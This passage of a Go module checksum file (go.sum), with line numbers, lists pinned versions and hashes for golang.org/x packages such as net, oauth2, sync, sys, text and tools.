h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 414 | golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 415 | golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 416 | golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 417 | golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 418 | golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= 419 | golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= 420 | golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= 421 | golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= 422 | golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= 423 | golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= 424 | golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= 425 | golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= 426 | golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 427 | golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 428 | golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 429 | golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 430 | golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 431 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 432 | golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= 433 | golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= 434 | golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= 435 | golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 436 | golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 437 | golang.org/x/net v0.0.0-20211216030914-fe4d6282115f h1:hEYJvxw1lSnWIl8X9ofsYMklzaDs90JI2az5YMd4fPM= 438 | golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 439 | golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= 440 | golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= 441 | golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= 442 | golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= 443 | golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= 444 | golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= 445 | golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= 446 | golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= 447 | golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= 448 | golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= 449 | golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= 450 | golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= 451 | golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= 452 | golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= 453 | golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= 454 | golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= 455 | golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= 456 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 457 | golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 458 | golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 459 | golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 460 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 461 | golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 462 | golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 463 | golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 464 | golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 465 | golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 466 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= 467 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 468 | golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 469 | golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 470 | golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 471 | golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 472 | golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 473 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 474 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 475 | golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 476 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 477 | golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 478 | golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 479 | golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 480 | golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 481 | golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 482 | golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 483 | golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 484 | golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 485 | golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 486 | golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 487 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 488 | golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 489 | golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 490 | golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 491 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 492 | golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 493 | golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 494 | golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 495 | golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 496 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 497 | golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 498 | golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 499 | golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 500 | golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 501 | golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 502 | golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 503 | golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 504 | golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 505 | golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 506 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 507 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 508 | golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 509 | golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 510 | golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 511 | golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 512 | golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 513 | golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 514 | golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 515 | golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 516 | golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 517 | golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 518 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 519 | golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 520 | golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 521 | golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 522 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 523 | golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 524 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 525 | golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 526 | golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 527 | golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 528 | golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 529 | golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 530 | golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 531 | golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 532 | golang.org/x/sys v0.0.0-20211205182925-97ca703d548d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 533 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 534 | golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 535 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 536 | golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 537 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= 538 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 539 | golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 540 | golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 541 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 542 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 543 | golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= 544 | golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= 545 | golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= 546 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 547 | golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 548 | golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= 549 | golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 550 | golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 551 | golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 552 | golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= 553 | golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= 554 | golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= 555 | golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= 556 | golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= 557 | golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= 558 | golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 559 | golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 560 | golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 561 | golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 562 | golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 563 | golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 564 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 565 | golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 566 | golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 567 | golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 568 | golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 569 | golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 570 | golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 571 | golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 572 | golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 573 | golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 574 | golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 575 | golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 576 | golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 577 | golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= 578 | golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= 579 | golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= 580 | golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= 581 | golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= 582 | golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= 583 | golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= 584 | golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= 585 | golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= 586 | golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= 587 | golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= 588 | golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= 589 | golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 590 | golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 591 | golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 592 | golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 593 | golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod 